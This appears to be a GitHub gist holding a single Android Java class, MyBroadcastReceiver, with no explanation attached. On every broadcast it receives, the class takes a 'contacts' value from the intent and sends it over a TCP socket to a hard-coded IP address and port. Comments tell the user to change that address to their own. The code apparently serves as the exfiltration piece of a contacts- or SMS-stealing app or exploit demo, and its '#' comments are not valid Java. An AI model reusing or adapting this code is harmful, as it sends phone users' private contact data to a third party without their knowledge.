Skip to content

Instantly share code, notes, and snippets.

@nhegde610
Last active October 11, 2020 15:17
public class MyBroadcastReceiver extends BroadcastReceiver {
private static final int SERVERPORT = 3000; #change this ip address
private static final String SERVER_IP = "192.168.58.1"; #Change this ip address
private Socket socket;
String smscontacts;
@Override
public void onReceive(Context context, Intent intent) {
Bundle extras = intent.getExtras();
if (extras != null) {
smscontacts = extras.getString("contacts");
}
new Thread(new ClientThread()).start();
}
class ClientThread implements Runnable {
@Override
public void run() {
try {
InetAddress serverAddr = InetAddress.getByName(SERVER_IP);
socket = new Socket(serverAddr, SERVERPORT);
PrintWriter out = new PrintWriter(new BufferedWriter(
new OutputStreamWriter(socket.getOutputStream())),
true);
out.println(smscontacts);
} catch (UnknownHostException e1) {
e1.printStackTrace();
} catch (IOException e1) {
e1.printStackTrace();
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment